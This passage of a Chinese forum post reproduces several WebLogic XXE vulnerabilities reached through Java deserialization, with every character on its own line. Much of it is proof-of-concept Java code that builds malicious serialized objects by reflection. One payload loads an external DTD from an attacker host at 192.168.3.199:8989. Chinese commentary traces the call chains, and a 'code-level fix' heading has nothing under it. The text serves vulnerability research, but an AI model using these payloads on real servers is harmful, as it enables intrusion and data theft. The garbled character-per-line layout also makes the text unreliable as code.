d
N
a
m
e
s
p
a
c
e
D
e
c
l
a
r
a
t
i
o
n
(
v
a
r
6
,
t
h
i
s
.
r
m
V
e
r
s
i
o
n
.
g
e
t
P
r
e
f
i
x
(
)
,
t
h
i
s
.
r
m
V
e
r
s
i
o
n
.
g
e
t
N
a
m
e
s
p
a
c
e
U
r
i
(
)
)
;
v
a
r
1
.
w
r
i
t
e
(
v
a
r
6
)
;
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
v
a
r
7
=
n
e
w
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
(
)
;
O
u
t
p
u
t
F
o
r
m
a
t
v
a
r
8
=
n
e
w
O
u
t
p
u
t
F
o
r
m
a
t
(
"
X
M
L
"
,
(
S
t
r
i
n
g
)
n
u
l
l
,
f
a
l
s
e
)
;
X
M
L
S
e
r
i
a
l
i
z
e
r
v
a
r
9
=
n
e
w
X
M
L
S
e
r
i
a
l
i
z
e
r
(
v
a
r
7
,
v
a
r
8
)
;
D
o
c
u
m
e
n
t
d
o
c
=
n
u
l
l
;
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
d
b
F
a
c
t
o
r
y
=
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
.
n
e
w
I
n
s
t
a
n
c
e
(
)
;
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
d
b
B
u
i
l
d
e
r
=
d
b
F
a
c
t
o
r
y
.
n
e
w
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
(
)
;
d
o
c
=
d
b
B
u
i
l
d
e
r
.
p
a
r
s
e
(
S
y
s
t
e
m
.
g
e
t
P
r
o
p
e
r
t
y
(
"
u
s
e
r
.
d
i
r
"
)
+
"
/
s
r
c
/
m
a
i
n
/
r
e
s
o
u
r
c
e
s
/
t
e
x
t
.
x
m
l
"
)
;
v
a
r
9
.
s
e
r
i
a
l
i
z
e
(
d
o
c
)
;
i
m
p
o
r
t
w
e
b
l
o
g
i
c
.
w
s
e
e
.
a
d
d
r
e
s
s
i
n
g
.
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
;
i
m
p
o
r
t
w
e
b
l
o
g
i
c
.
w
s
e
e
.
r
e
l
i
a
b
i
l
i
t
y
.
W
s
r
m
S
e
q
u
e
n
c
e
C
o
n
t
e
x
t
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
I
O
E
x
c
e
p
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
F
i
e
l
d
;
p
u
b
l
i
c
c
l
a
s
s
w
e
b
l
o
g
i
c
x
x
e
3
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
I
O
E
x
c
e
p
t
i
o
n
{
O
b
j
e
c
t
i
n
s
t
a
n
c
e
=
g
e
t
O
b
j
e
c
t
(
)
;
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
o
u
t
=
n
e
w
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
(
n
e
w
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
(
"
x
x
e
4
"
)
)
;
o
u
t
.
w
r
i
t
e
O
b
j
e
c
t
(
i
n
s
t
a
n
c
e
)
;
o
u
t
.
f
l
u
s
h
(
)
;
o
u
t
.
c
l
o
s
e
(
)
;
}
p
u
b
l
i
c
s
t
a
t
i
c
O
b
j
e
c
t
g
e
t
O
b
j
e
c
t
(
)
{
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
e
n
d
=
n
e
w
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
(
)
;
W
s
r
m
S
e
q
u
e
n
c
e
C
o
n
t
e
x
t
u
m
h
=
n
e
w
W
s
r
m
S
e
q
u
e
n
c
e
C
o
n
t
e
x
t
(
)
;
t
r
y
{
F
i
e
l
d
f
1
=
u
m
h
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
D
e
c
l
a
r
e
d
F
i
e
l
d
(
"
a
c
k
s
T
o
"
)
;
f
1
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
f
1
.
s
e
t
(
u
m
h
,
e
n
d
)
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
r
e
t
u
r
n
u
m
h
;
}
}
x
x
l
e
g
e
n
d
师
傅
的
一
些
简
单
复
现
分
析
,
先
给
出
其
p
o
c
先
看
看
其
w
r
i
t
e
E
x
t
e
r
n
a
l
方
法
,
箭
头
所
指
之
处
就
是
构
造
p
a
y
l
o
a
d
的
关
键
之
处
,
t
h
i
s
.
e
p
r
是
抽
象
类
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
的
对
象
,
所
以
这
里
其
定
义
的
w
r
i
t
e
函
数
肯
定
要
被
其
子
类
实
现
,
那
么
这
里
实
际
上
是
将
结
果
写
入
到
v
a
r
2
中
,
那
么
p
o
c
中
只
需
要
继
承
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
并
读
取
我
们
的
x
m
l
p
a
y
l
o
a
d
写
入
到
v
a
r
2
中
即
可
,
之
后
将
通
过
v
a
r
1
写
入
到
序
列
化
数
据
中
i
m
p
o
r
t
w
e
b
l
o
g
i
c
.
w
s
e
e
.
w
s
t
x
.
i
n
t
e
r
n
a
l
.
F
o
r
e
i
g
n
R
e
c
o
v
e
r
y
C
o
n
t
e
x
t
;
i
m
p
o
r
t
w
e
b
l
o
g
i
c
.
w
s
e
e
.
w
s
t
x
.
w
s
a
t
.
T
r
a
n
s
a
c
t
i
o
n
a
l
.
V
e
r
s
i
o
n
;
i
m
p
o
r
t
j
a
v
a
x
.
x
m
l
.
w
s
.
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
;
i
m
p
o
r
t
j
a
v
a
x
.
t
r
a
n
s
a
c
t
i
o
n
.
x
a
.
X
i
d
;
i
m
p
o
r
t
j
a
v
a
x
.
x
m
l
.
t
r
a
n
s
f
o
r
m
.
R
e
s
u
l
t
;
i
m
p
o
r
t
j
a
v
a
x
.
x
m
l
.
t
r
a
n
s
f
o
r
m
.
s
t
r
e
a
m
.
S
t
r
e
a
m
R
e
s
u
l
t
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
*
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
F
i
e
l
d
;
p
u
b
l
i
c
c
l
a
s
s
w
e
b
l
o
g
i
c
x
x
e
4
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
I
O
E
x
c
e
p
t
i
o
n
{
O
b
j
e
c
t
i
n
s
t
a
n
c
e
=
g
e
t
O
b
j
e
c
t
(
)
;
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
o
u
t
=
n
e
w
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
(
n
e
w
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
(
"
x
x
e
1
"
)
)
;
o
u
t
.
w
r
i
t
e
O
b
j
e
c
t
(
i
n
s
t
a
n
c
e
)
;
o
u
t
.
f
l
u
s
h
(
)
;
o
u
t
.
c
l
o
s
e
(
)
;
}
p
u
b
l
i
c
s
t
a
t
i
c
c
l
a
s
s
M
y
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
e
x
t
e
n
d
s
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
{
@
O
v
e
r
r
i
d
e
p
u
b
l
i
c
v
o
i
d
w
r
i
t
e
T
o
(
R
e
s
u
l
t
r
e
s
u
l
t
)
{
b
y
t
e
[
]
t
m
p
b
y
t
e
s
=
n
e
w
b
y
t
e
[
4
0
9
6
]
;
i
n
t
n
R
e
a
d
;
t
r
y
{
I
n
p
u
t
S
t
r
e
a
m
i
s
=
n
e
w
F
i
l
e
I
n
p
u
t
S
t
r
e
a
m
(
S
y
s
t
e
m
.
g
e
t
P
r
o
p
e
r
t
y
(
"
u
s
e
r
.
d
i
r
"
)
+
"
/
s
r
c
/
m
a
i
n
/
r
e
s
o
u
r
c
e
s
/
t
e
x
t
.
x
m
l
"
)
;
w
h
i
l
e
(
(
n
R
e
a
d
=
i
s
.
r
e
a
d
(
t
m
p
b
y
t
e
s
,
0
,
t
m
p
b
y
t
e
s
.
l
e
n
g
t
h
)
)
!
=
-
1
)
{
(
(
S
t
r
e
a
m
R
e
s
u
l
t
)
r
e
s
u
l
t
)
.
g
e
t
O
u
t
p
u
t
S
t
r
e
a
m
(
)
.
w
r
i
t
e
(
t
m
p
b
y
t
e
s
,
0
,
n
R
e
a
d
)
;
}
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
r
e
t
u
r
n
;
}
}
p
u
b
l
i
c
s
t
a
t
i
c
O
b
j
e
c
t
g
e
t
O
b
j
e
c
t
(
)
{
X
i
d
x
i
d
=
n
e
w
w
e
b
l
o
g
i
c
.
t
r
a
n
s
a
c
t
i
o
n
.
i
n
t
e
r
n
a
l
.
X
i
d
I
m
p
l
(
)
;
V
e
r
s
i
o
n
v
=
V
e
r
s
i
o
n
.
D
E
F
A
U
L
T
;
F
o
r
e
i
g
n
R
e
c
o
v
e
r
y
C
o
n
t
e
x
t
f
r
c
=
n
e
w
F
o
r
e
i
g
n
R
e
c
o
v
e
r
y
C
o
n
t
e
x
t
(
)
;
t
r
y
{
F
i
e
l
d
f
=
f
r
c
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
D
e
c
l
a
r
e
d
F
i
e
l
d
(
"
f
x
i
d
"
)
;
f
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
f
.
s
e
t
(
f
r
c
,
x
i
d
)
;
F
i
e
l
d
f
1
=
f
r
c
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
D
e
c
l
a
r
e
d
F
i
e
l
d
(
"
e
p
r
"
)
;
f
1
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
f
1
.
s
e
t
(
f
r
c
,
n
e
w
M
y
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
(
)
)
;
F
i
e
l
d
f
2
=
f
r
c
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
D
e
c
l
a
r
e
d
F
i
e
l
d
(
"
v
e
r
s
i
o
n
"
)
;
f
2
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
f
2
.
s
e
t
(
f
r
c
,
v
)
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
r
e
t
u
r
n
f
r
c
;
}
}
那
么
在
其
反
序
列
化
过
程
中
调
用
r
e
a
d
E
x
t
e
r
n
a
l
将
通
过
r
e
a
d
F
r
o
m
方
法
读
取
我
们
的
x
m
l
p
a
y
l
o
a
d
,
接
下
来
就
是
一
大
段
初
始
化
的
过
程
,
直
到
加
载
j
a
v
a
x
.
x
m
l
.
w
s
.
s
p
i
.
P
r
o
v
i
d
e
r
后
调
用
其
r
e
a
d
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
来
对
x
m
l
数
据
流
进
行
读
取
从
F
o
r
e
i
g
n
R
e
c
o
v
e
r
y
C
o
n
t
e
x
t
的
r
e
a
d
E
x
t
e
r
n
a
l
到
漏
洞
触
发
点
部
分
调
用
栈
如
下
图
所
示
:
接
下
来
就
到
了
x
x
e
的
触
发
点
,
这
里
解
析
x
m
l
的
类
也
与
之
前
分
析
的
三
个
c
v
e
不
同
,
这
里
的
U
n
m
a
r
s
h
a
l
l
e
r
类
将
X
M
L
数
据
反
序
列
化
解
析
为
j
a
v
a
对
象
,
然
而
这
里
并
未
添
加
任
何
防
护
措
施
,
因
此
导
致
可
以
注
入
外
部
实
体
,
从
而
产
生
x
x
e
第
五
处
存
在
于
O
r
a
c
l
e
/
M
i
d
d
l
e
w
a
r
e
/
w
l
s
e
r
v
e
r
_
1
0
.
3
/
s
e
r
v
e
r
/
l
i
b
/
w
e
b
l
o
g
i
c
.
j
a
r
下
的
w
e
b
l
o
g
i
c
/
s
e
r
v
l
e
t
/
e
j
b
2
j
s
p
/
d
d
/
E
J
B
T
a
g
l
i
b
D
e
s
c
r
i
p
t
o
r
类
,
在
该
类
的
l
o
a
d
函
数
中
存
在
使
用
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
进
行
x
m
l
解
析
,
然
后
该
工
厂
类
是
w
e
b
l
o
g
i
c
实
现
的
子
类
,
其
中
根
据
本
地
的
配
置
w
e
b
l
o
g
i
c
.
x
m
l
.
j
a
x
p
.
a
l
l
o
w
.
e
x
t
e
r
n
a
l
D
T
D
的
值
来
选
择
是
否
设
置
以
下
两
条
f
e
a
t
u
e
来
限
制
外
部
实
体
的
加
载
,
然
而
默
认
情
况
下
可
以
加
载
外
部
实
体
,
因
此
这
两
条
f
e
a
t
u
r
e
失
效
从
w
e
b
l
o
g
i
c
输
入
流
处
理
到
反
序
列
化
入
口
的
过
程
部
分
调
用
栈
如
下
图
所
示
:
在
其
l
o
a
d
函
数
中
只
需
控
制
v
a
r
4
即
可
,
其
为
输
入
流
可
本
地
构
造
那
么
只
需
要
找
到
在
何
处
调
用
了
l
o
a
d
方
法
即
可
,
可
以
看
到
在
其
反
序
列
化
时
调
用
的
r
e
a
d
E
x
t
e
r
n
a
l
中
将
调
用
l
o
a
d
方
法
,
并
且
从
数
据
流
走
向
可
以
判
断
p
a
r
s
e
解
析
的
入
口
参
数
是
可
控
的
接
下
来
只
需
要
按
照
w
r
i
t
e
E
x
t
e
r
n
a
l
的
逻
辑
构
造
序
列
化
数
据
即
可
,
其
调
用
t
o
S
t
r
i
n
g
来
传
入
E
J
B
T
a
g
l
i
b
D
e
s
c
r
i
p
t
o
r
的
实
例
h
i
s
.
d
e
l
e
g
a
t
e
.
s
e
t
A
t
t
r
i
b
u
t
e
(
"
h
t
t
p
:
/
/
x
m
l
.
o
r
g
/
s
a
x
/
f
e
a
t
u
r
e
s
/
e
x
t
e
r
n
a
l
-
g
e
n
e
r
a
l
-
e
n
t
i
t
i
e
s
"
,
a
l
l
o
w
_
e
x
t
e
r
n
a
l
_
d
t
d
)
;
t
h
i
s
.
d
e
l
e
g
a
t
e
.
s
e
t
A
t
t
r
i
b
u
t
e
(
"
h
t
t
p
:
/
/
x
m
l
.
o
r
g
/
s
a
x
/
f
e
a
t
u
r
e
s
/
e
x
t
e
r
n
a
l
-
p
a
r
a
m
e
t
e
r
-
e
n
t
i
t
i
e
s
"
,
a
l
l
o
w
_
e
x
t
e
r
n
a
l
_
d
t
d
)
;
在
t
o
s
t
r
i
n
g
方
法
中
又
调
用
该
实
例
的
t
o
x
m
l
来
将
程
序
原
来
想
要
输
出
的
数
据
输
出
到
x
m
l
w
r
i
t
e
r
中
并
最
终
返
回
一
个
x
m
l
字
符
串
输
出
为
序
列
化
数
据
,
其
中
x
m
l
w
r
i
t
e
r
的
p
r
i
n
t
l
n
方
法
是
真
正
负
责
写
入
数
据
的
,
其
写
入
的
即
为
x
m
l
数
据
那
么
我
们
选
择
直
接
控
制
写
入
x
m
l
w
r
i
t
e
r
的
数
据
即
可
重
写
t
o
x
m
l
如
下
:
然
后
本
地
覆
盖
原
生
E
J
B
T
a
g
l
i
b
D
e
s
c
r
i
p
t
o
r
c
.
c
l
a
s
s
即
可
p
o
c
:
2
.
2
代
码
层
面
修
复
代
码
层
面
修
复
p
u
b
l
i
c
v
o
i
d
t
o
X
M
L
(
X
M
L
W
r
i
t
e
r
v
a
r
1
)
{
v
a
r
1
.
p
r
i
n
t
l
n
(
"
<
?
x
m
l
v
e
r
s
i
o
n
=
"
1
.
0
"
e
n
c
o
d
i
n
g
=
"
u
t
f
-
8
"
?
>
n
"
+
"
<
!
D
O
C
T
Y
P
E
d
a
t
a
S
Y
S
T
E
M
"
h
t
t
p
:
/
/
1
9
2
.
1
6
8
.
3
.
1
9
9
:
8
9
8
9
/
1
.
d
t
d
"
[
n
"
+
"
<
!
E
L
E
M
E
N
T
d
a
t
a
(
#
P
C
D
A
T
A
)
>
n
"
+
"
]
>
n
"
+
"
<
d
a
t
a
>
d
a
t
a
<
/
d
a
t
a
>
"
)
;
}
}
i
m
p
o
r
t
w
e
b
l
o
g
i
c
.
s
e
r
v
l
e
t
.
e
j
b
2
j
s
p
.
d
d
.
E
J
B
T
a
g
l
i
b
D
e
s
c
r
i
p
t
o
r
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
I
O
E
x
c
e
p
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
;
p
u
b
l
i
c
c
l
a
s
s
w
e
b
l
o
g
i
c
x
x
e
5
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
I
O
E
x
c
e
p
t
i
o
n
{
O
b
j
e
c
t
i
n
s
t
a
n
c
e
=
g
e
t
O
b
j
e
c
t
(
)
;
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
o
u
t
=
n
e
w
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
(
n
e
w
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
(
"
x
x
e
3
"
)
)
;
o
u
t
.
w
r
i
t
e
O
b
j
e
c
t
(
i
n
s
t
a
n
c
e
)
;
o
u
t
.
f
l
u
s
h
(
)
;
o
u
t
.
c
l
o
s
e
(
)
;
}
p
u
b
l
i
c
s
t
a
t
i
c
O
b
j
e
c
t
g
e
t
O
b
j
e
c
t
(
)
{
E
J
B
T
a
g
l
i
b
D
e
s
c
r
i
p
t
o
r
u
m
h
=
n
e
w
E
J
B
T
a
g
l
i
b
D
e
s
c
r
i
p
t
o
r
(
)
;
r
e
t
u
r
n
u
m
h
;
}
}
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页